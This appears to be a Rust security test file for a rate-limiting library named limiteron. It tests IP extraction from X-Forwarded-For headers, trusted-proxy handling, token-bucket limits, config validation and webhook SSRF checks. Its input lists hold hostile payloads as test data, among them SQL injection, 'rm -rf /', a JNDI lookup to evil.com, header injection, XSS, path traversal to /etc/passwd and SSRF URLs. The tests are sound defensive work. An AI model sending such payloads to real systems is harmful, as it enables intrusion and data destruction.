use limiteron::config::TrustedProxyConfig;
use limiteron::error::LimiteronError;
use limiteron::limiters::{Limiter, TokenBucketLimiter};
use limiteron::matchers::{Identifier, IdentifierExtractor, IpExtractor, RequestContext};
#[tokio::test]
async fn test_x_forwarded_for_spoofing() {
let extractor = IpExtractor::from_header("x-forwarded-for");
let ctx = RequestContext::new()
.with_header("x-forwarded-for", "1.2.3.4, 192.168.1.100, 10.0.0.1")
.with_client_ip("203.0.113.99");
let result = extractor.extract(&ctx);
assert!(result.is_some());
assert_eq!(
result.unwrap(),
Identifier::Ip("203.0.113.99".to_string()),
"非可信代理直连时必须忽略 X-Forwarded-For,使用直接对端 IP"
);
let ctx = RequestContext::new().with_header("x-forwarded-for", "192.168.1.100, 10.0.0.1");
let result = extractor.extract(&ctx);
assert!(
result.is_none(),
"缺少直接对端地址时必须忽略 X-Forwarded-For"
);
let config = TrustedProxyConfig {
enabled: true,
proxies: vec!["10.0.0.1".to_string()],
max_hops: 10,
};
let extractor =
IpExtractor::with_trusted_proxies(vec!["x-forwarded-for".to_string()], true, config);
let ctx = RequestContext::new()
.with_header("x-forwarded-for", "1.2.3.4, 192.168.1.100, 10.0.0.1")
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
assert_eq!(
result.unwrap(),
Identifier::Ip("192.168.1.100".to_string()),
"可信代理转发时应从右向左跳过可信代理,取真实客户端 IP(而非伪造的最左 IP)"
);
}
#[tokio::test]
async fn test_invalid_ip_injection() {
let extractor = IpExtractor::from_header("x-forwarded-for");
let invalid_ips = vec![
"not-an-ip",
"999.999.999.999",
"192.168.1",
"192.168.1.1.1",
"",
" ",
"192.168.1.1; DROP TABLE users--",
"192.168.1.1\nHost: evil.com",
"192.168.1.1\r\nX-Injected: true",
"<script>alert('xss')</script>",
"${jndi:ldap://evil.com/a}",
];
for invalid_ip in invalid_ips {
let ctx = RequestContext::new().with_header("x-forwarded-for", invalid_ip);
let result = extractor.extract(&ctx);
if invalid_ip.contains(';')
|| invalid_ip.contains('\n')
|| invalid_ip.contains('\r')
|| invalid_ip.contains('<')
|| invalid_ip.contains('$')
|| invalid_ip.trim().is_empty()
{
if let Some(ip) = result {
assert!(!ip.as_str().contains(';'), "SQL注入未过滤: {}", invalid_ip);
assert!(!ip.as_str().contains('\n'), "换行符未过滤: {}", invalid_ip);
assert!(!ip.as_str().contains('\r'), "回车符未过滤: {}", invalid_ip);
assert!(!ip.as_str().contains('<'), "XSS未过滤: {}", invalid_ip);
assert!(!ip.as_str().contains('$'), "模板注入未过滤: {}", invalid_ip);
}
}
}
}
#[tokio::test]
async fn test_ipv6_injection() {
let config = TrustedProxyConfig {
enabled: true,
proxies: vec!["10.0.0.1".to_string()],
max_hops: 10,
};
let extractor =
IpExtractor::with_trusted_proxies(vec!["x-forwarded-for".to_string()], true, config);
let valid_ipv6 = vec![
"::1",
"2001:0db8:85a3:0000:0000:8a2e:0370:7334",
"2001:db8:85a3::8a2e:370:7334",
"::ffff:192.168.1.1",
"fe80::1",
"fc00::1",
];
for ip in valid_ipv6 {
let ctx = RequestContext::new()
.with_header("x-forwarded-for", ip)
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some(), "Valid IPv6 should be accepted: {}", ip);
}
}
#[tokio::test]
async fn test_ip_list_parsing_security() {
let config = TrustedProxyConfig {
enabled: true,
proxies: vec!["10.0.0.1".to_string()],
max_hops: 10,
};
let extractor =
IpExtractor::with_trusted_proxies(vec!["x-forwarded-for".to_string()], true, config);
let ctx = RequestContext::new()
.with_header("x-forwarded-for", " 192.168.1.1 , , 10.0.0.1 ")
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
assert_eq!(result.unwrap(), Identifier::Ip("192.168.1.1".to_string()));
let many_ips: String = (0..20)
.map(|i| format!("192.168.{}.{}", i / 256, i % 256))
.collect::<Vec<_>>()
.join(", ");
let ctx = RequestContext::new()
.with_header("x-forwarded-for", &many_ips)
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(
result.is_some(),
"超过 max_hops 限制时应回退到直接对端 IP,不应返回 None"
);
assert_eq!(
result.unwrap(),
Identifier::Ip("10.0.0.1".to_string()),
"超过 max_hops 限制时应忽略 X-Forwarded-For,使用直接对端 IP"
);
let few_ips: String = (0..5)
.map(|i| format!("192.168.{}.{}", i / 256, i % 256))
.collect::<Vec<_>>()
.join(", ");
let ctx = RequestContext::new()
.with_header("x-forwarded-for", &few_ips)
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
}
#[tokio::test]
async fn test_proxy_trust_chain() {
let config = TrustedProxyConfig {
enabled: true,
proxies: vec!["10.0.0.1".to_string(), "10.0.0.2".to_string()],
max_hops: 10,
};
let extractor = IpExtractor::with_trusted_proxies(
vec!["x-real-ip".to_string(), "x-forwarded-for".to_string()],
true,
config,
);
let ctx = RequestContext::new()
.with_header("x-real-ip", "10.0.0.1")
.with_header("x-forwarded-for", "192.168.1.1, 10.0.0.2")
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
assert_eq!(result.unwrap(), Identifier::Ip("10.0.0.1".to_string()));
let ctx = RequestContext::new()
.with_header("x-forwarded-for", "192.168.1.1, 10.0.0.2")
.with_client_ip("10.0.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
assert_eq!(result.unwrap(), Identifier::Ip("192.168.1.1".to_string()));
let extractor_default = IpExtractor::from_headers(vec!["x-real-ip", "x-forwarded-for"]);
let ctx = RequestContext::new().with_client_ip("172.16.0.1");
let result = extractor_default.extract(&ctx);
assert!(result.is_some());
assert_eq!(result.unwrap(), Identifier::Ip("172.16.0.1".to_string()));
}
#[tokio::test]
async fn test_zero_cost_rejection() {
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(0).await;
assert!(result.is_err(), "Zero cost should be rejected");
if let Err(e) = result {
assert!(matches!(e, LimiteronError::ConfigError(_)));
assert!(e.to_string().contains("zero") || e.to_string().contains("0"));
}
}
#[tokio::test]
async fn test_negative_cost_protection() {
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(1).await;
assert!(result.is_ok(), "Minimum valid cost should be accepted");
}
#[tokio::test]
async fn test_integer_overflow_protection() {
let limiter = TokenBucketLimiter::new(100, 10);
let excessive_cost = 1_000_000u64 + 1;
let result = limiter.allow(excessive_cost).await;
assert!(
result.is_err(),
"Cost exceeding MAX_COST should be rejected"
);
if let Err(e) = result {
assert!(matches!(e, LimiteronError::ConfigError(_)));
}
let max_u64 = u64::MAX;
let result = limiter.allow(max_u64).await;
assert!(result.is_err(), "u64::MAX cost should be rejected");
}
#[tokio::test]
async fn test_boundary_values() {
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(1).await;
assert!(result.is_ok());
let result = limiter.allow(1_000_000u64).await;
match result {
Ok(_) | Err(LimiteronError::LimitError(_)) => {}
Err(e) => panic!("Unexpected error for MAX_COST: {:?}", e),
}
let result = limiter.allow(100).await;
assert!(result.is_ok(), "Cost equal to capacity should be allowed");
}
#[tokio::test]
async fn test_capacity_and_rate_boundaries() {
let limiter = TokenBucketLimiter::new(0, 10);
let result = limiter.allow(1).await;
assert!(result.is_ok());
assert!(!result.unwrap(), "Zero capacity should deny all requests");
let limiter = TokenBucketLimiter::new(100, 0);
let result = limiter.allow(1).await;
assert!(result.is_ok());
}
#[cfg(any())]
#[test]
fn test_malicious_config_rejection() {
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "rule<script>alert(1)</script>".to_string(),
name: "Malicious Rule".to_string(),
priority: 100,
matchers: vec![],
limiters: vec![],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"Config with XSS in rule ID should be rejected"
);
assert!(report.warnings.iter().any(|w| w.contains("特殊字符")));
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "rule'; DROP TABLE rules;--".to_string(),
name: "SQL Injection Rule".to_string(),
priority: 100,
matchers: vec![],
limiters: vec![],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"Config with SQL injection should be rejected"
);
}
#[cfg(any())]
#[test]
fn test_config_validation_coverage() {
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig {
storage: "invalid_storage".to_string(),
cache: "memory".to_string(),
metrics: "prometheus".to_string(),
},
rules: vec![],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(!report.is_safe, "Invalid storage type should be rejected");
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig {
storage: "memory".to_string(),
cache: "invalid_cache".to_string(),
metrics: "prometheus".to_string(),
},
rules: vec![],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(!report.is_safe, "Invalid cache type should be rejected");
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig {
storage: "memory".to_string(),
cache: "memory".to_string(),
metrics: "invalid_metrics".to_string(),
},
rules: vec![],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(!report.is_safe, "Invalid metrics type should be rejected");
}
#[cfg(any())]
#[test]
fn test_limiter_config_validation() {
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "test_rule".to_string(),
name: "Test Rule".to_string(),
priority: 100,
matchers: vec![],
limiters: vec![LimiterConfig::TokenBucket {
capacity: 0,
refill_rate: 10,
}],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(!report.is_safe, "Zero capacity should be rejected");
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "test_rule".to_string(),
name: "Test Rule".to_string(),
priority: 100,
matchers: vec![],
limiters: vec![LimiterConfig::TokenBucket {
capacity: 10_000_000,
refill_rate: 10,
}],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"Excessive capacity should generate warning"
);
}
#[cfg(any())]
#[test]
fn test_matcher_config_validation() {
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "test_rule".to_string(),
name: "Test Rule".to_string(),
priority: 100,
matchers: vec![Matcher::User {
user_ids: vec!["user<script>".to_string()],
}],
limiters: vec![LimiterConfig::TokenBucket {
capacity: 100,
refill_rate: 10,
}],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"User ID with special characters should be rejected"
);
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "test_rule".to_string(),
name: "Test Rule".to_string(),
priority: 100,
matchers: vec![Matcher::Ip {
ip_ranges: vec!["192.168.1.1<script>".to_string()],
}],
limiters: vec![LimiterConfig::TokenBucket {
capacity: 100,
refill_rate: 10,
}],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"IP range with special characters should be rejected"
);
}
#[cfg(any())]
#[test]
fn test_version_validation() {
let config = FlowControlConfig {
version: "".to_string(),
global: GlobalConfig::default(),
rules: vec![],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(!report.is_safe, "Empty version should be rejected");
let config = FlowControlConfig {
version: "a".repeat(100),
global: GlobalConfig::default(),
rules: vec![],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"Excessively long version should be rejected"
);
let config = FlowControlConfig {
version: "1.0.0<script>".to_string(),
global: GlobalConfig::default(),
rules: vec![],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"Version with special characters should be rejected"
);
}
#[cfg(any())]
#[test]
fn test_priority_validation() {
let config = FlowControlConfig {
version: "1.0.0".to_string(),
global: GlobalConfig::default(),
rules: vec![Rule {
id: "test_rule".to_string(),
name: "Test Rule".to_string(),
priority: 100000,
matchers: vec![],
limiters: vec![LimiterConfig::TokenBucket {
capacity: 100,
refill_rate: 10,
}],
action: ActionConfig::default(),
}],
};
let report = ConfigSecurityValidator::validate_config(&config);
assert!(
!report.is_safe,
"Excessive priority should generate warning"
);
}
#[tokio::test]
async fn test_comprehensive_input_security() {
let extractor = IpExtractor::from_header("x-forwarded-for");
let malicious_inputs = vec![
"192.168.1.1'; DROP TABLE users;--",
"192.168.1.1; rm -rf /",
"192.168.1.1<script>alert('xss')</script>",
"192.168.1.1../../../etc/passwd",
"192.168.1.1)(cn=*))(|(cn=*",
"192.168.1.1{{7*7}}",
];
for input in malicious_inputs {
let ctx = RequestContext::new().with_header("x-forwarded-for", input);
let result = extractor.extract(&ctx);
if let Some(ip) = result {
let ip_str = ip.as_str();
assert!(
!ip_str.contains(';'),
"SQL/Command injection not filtered: {}",
input
);
assert!(!ip_str.contains('<'), "XSS not filtered: {}", input);
assert!(
!ip_str.contains(".."),
"Path traversal not filtered: {}",
input
);
assert!(
!ip_str.contains('('),
"LDAP injection not filtered: {}",
input
);
assert!(
!ip_str.contains('{'),
"Template injection not filtered: {}",
input
);
}
}
}
#[cfg(any())]
#[tokio::test]
async fn test_webhook_url_ssrf_protection() {
use limiteron::quota::validate_webhook_url;
let valid_urls = vec![
"https://api.example.com/webhook",
"https://hooks.slack.com/services/xxx",
"https://discord.com/api/webhooks/xxx",
];
for url in valid_urls {
let result = validate_webhook_url(url);
assert!(result.is_ok(), "Valid URL should pass: {}", url);
}
let internal_urls = vec![
("https://localhost/webhook", "localhost should be blocked"),
("https://127.0.0.1/webhook", "127.0.0.1 should be blocked"),
("https://[::1]/webhook", "IPv6 loopback should be blocked"),
(
"https://10.0.0.1/webhook",
"10.x.x.x private IP should be blocked",
),
(
"https://172.16.0.1/webhook",
"172.16.x.x private IP should be blocked",
),
(
"https://192.168.1.1/webhook",
"192.168.x.x private IP should be blocked",
),
("http://api.example.com/webhook", "HTTP should be blocked"),
];
for (url, description) in internal_urls {
let result = validate_webhook_url(url);
assert!(result.is_err(), "{}", description);
}
}
#[cfg(any())]
#[test]
fn test_webhook_url_malicious_input() {
use limiteron::quota::validate_webhook_url;
let malicious_urls = vec![
"https://example.com@127.0.0.1/",
"https://example.com#.evil.com/",
"https://example.com\\@127.0.0.1/",
"https://127.0.0.1; DROP TABLE users--",
"https://127.0.0.1\nHost: evil.com",
"https://аррӏе.com/", ];
for url in malicious_urls {
let result = validate_webhook_url(url);
if url.contains("127.0.0.1") || url.contains("localhost") {
assert!(
result.is_err(),
"Internal address should be blocked: {}",
url
);
}
}
}
#[test]
fn test_request_context_security() {
let ctx = RequestContext::new()
.with_header("authorization", "Bearer secret-token-12345")
.with_header("x-api-key", "sk-secret-api-key-67890")
.with_header("cookie", "session=secret-session-id")
.with_header("x-custom", "normal-value");
let debug_output = format!("{:?}", ctx);
assert!(
!debug_output.contains("secret-token-12345"),
"Authorization header not redacted"
);
assert!(
!debug_output.contains("sk-secret-api-key-67890"),
"API key not redacted"
);
assert!(
!debug_output.contains("secret-session-id"),
"Cookie not redacted"
);
assert!(
debug_output.contains("normal-value"),
"Non-sensitive header should be preserved"
);
}